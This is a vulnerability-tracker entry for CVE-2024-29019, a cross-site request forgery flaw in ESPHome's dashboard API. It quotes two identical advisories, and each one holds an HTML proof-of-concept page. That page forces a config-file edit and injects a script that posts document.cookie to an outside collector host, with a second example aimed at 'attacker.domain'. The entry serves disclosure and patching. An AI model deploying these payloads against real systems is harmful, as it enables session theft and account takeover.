CVE-2024-29019
highpriority · track · 0EPSS 0.003 · 19 %ileEUUSEPSS · scored 2026-10-28
ESPHome is a system to control microcontrollers remotely through Home Automation systems. API endpoints in dashboard component of ESPHome version 2023.12.9 (command line installation) are vulnerable to Cross-Site Request Forgery (CSRF) allowing remote attackers to carry out attacks against a logged user of the dashboard to perform operations on configuration files (create, edit, delete). It is possible for a malicious actor to create a specifically crafted web page that triggers a cross site request against ESPHome, this allows bypassing the authentication for API calls on the platform. This vulnerability allows bypassing authentication on API calls accessing configuration file operations on the behalf of a logged user. In order to trigger the vulnerability, the victim must visit a weaponized page. In addition to this, it is possible to chain this vulnerability with GHSA-9p43-hj5j-96h5/ CVE-2024-27287 to obtain a complete takeover of the user account. Version 2024.3.0 contains a patch for this issue.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode
ssvc
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weaknesses
The CWE weakness classes this flaw belongs to.
affected products (3)
Products and version ranges known to be affected.
advisories (2)
Vendor and ecosystem advisories describing this.
- GHSA-5925-88xh-6h99ESPHome vulnerable to Authentication bypass via Cross site request forgery2024-03-21ghsa · osvUS
### Summary API endpoints in dashboard component of ESPHome version 2023.12.9 (command line installation) are vulnerable to Cross-Site Request Forgery (CSRF) allowing remote attackers to carry out attacks against a logged user of the dashboard to perform operations on configuration files (create, edit, delete). ### Details It is possible for a malicious actor to create a specifically crafted web page that triggers a cross site request against ESPHome, this allows bypassing the authentication for API calls on the platform. ### PoC An example of malicious web page that abuses this vulnerability: <html> <body> <form action="http://localhost:6052/edit?configuration=poc.yaml" id="#main" method="POST" enctype="text/plain" onsubmit="setTimeout(function () { window.location.reload(); }, 10)"> <input type="hidden" name="<script> fetch('https://907zv9yp9u3rjerkiakydpvcr3xulk99.oastify.com?x" value="y', { method: 'POST', mode: 'no-cors', body:document.cookie }); </script> " /> </form> <script> document.forms[0].submit(); </script> <script> </script> </body> </html> In which an attacker creates and weaponizes "poc.yaml" config file containing a cookie exfiltration script and forces the payload triggering visiting the vulnerable page. Example of such script: <script> fetch('https://attacker.domain', { method: 'POST', mode: 'no-cors', body:document.cookie }); </script> ### Impact This vulnerability allows bypassing authentication on API calls accessing configuration file operations on the behalf of a logged user. In order to trigger the vulnerability, the victim must visit a weaponized page. In addition to this, it is possible to chain this vulnerability with GHSA-9p43-hj5j-96h5 (as seen in the PoC) to obtain a complete takeover of the user account.
- PYSEC-2026-1327ESPHome vulnerable to Authentication bypass via Cross site request forgery2026-07-07vendor · osvUS
### Summary API endpoints in dashboard component of ESPHome version 2023.12.9 (command line installation) are vulnerable to Cross-Site Request Forgery (CSRF) allowing remote attackers to carry out attacks against a logged user of the dashboard to perform operations on configuration files (create, edit, delete). ### Details It is possible for a malicious actor to create a specifically crafted web page that triggers a cross site request against ESPHome, this allows bypassing the authentication for API calls on the platform. ### PoC An example of malicious web page that abuses this vulnerability: <html> <body> <form action="http://localhost:6052/edit?configuration=poc.yaml" id="#main" method="POST" enctype="text/plain" onsubmit="setTimeout(function () { window.location.reload(); }, 10)"> <input type="hidden" name="<script> fetch('https://907zv9yp9u3rjerkiakydpvcr3xulk99.oastify.com?x" value="y', { method: 'POST', mode: 'no-cors', body:document.cookie }); </script> " /> </form> <script> document.forms[0].submit(); </script> <script> </script> </body> </html> In which an attacker creates and weaponizes "poc.yaml" config file containing a cookie exfiltration script and forces the payload triggering visiting the vulnerable page. Example of such script: <script> fetch('https://attacker.domain', { method: 'POST', mode: 'no-cors', body:document.cookie }); </script> ### Impact This vulnerability allows bypassing authentication on API calls accessing configuration file operations on the behalf of a logged user. In order to trigger the vulnerability, the victim must visit a weaponized page. In addition to this, it is possible to chain this vulnerability with GHSA-9p43-hj5j-96h5 (as seen in the PoC) to obtain a complete takeover of the user account.
also known as (6)
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sources
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references (8)
External citations — patches, advisories, analysis.
- https://cxsecurity.com/cveshow/CVE-2024-29019/cnnvd
- https://github.com/advisories/GHSA-9p43-hj5j-96h5cnnvd
- https://github.com/esphome/esphome/releases/tag/2024.3.2Patchcnnvd
- https://github.com/esphome/esphome/security/advisories/GHSA-5925-88xh-6h99cnnvd
- https://github.com/advisories/GHSA-9p43-hj5j-96h5enisa_euvd
- https://github.com/esphome/esphome/security/advisories/GHSA-5925-88xh-6h99enisa_euvd
- https://github.com/advisories/GHSA-9p43-hj5j-96h5nvd
- https://github.com/esphome/esphome/security/advisories/GHSA-5925-88xh-6h99nvd
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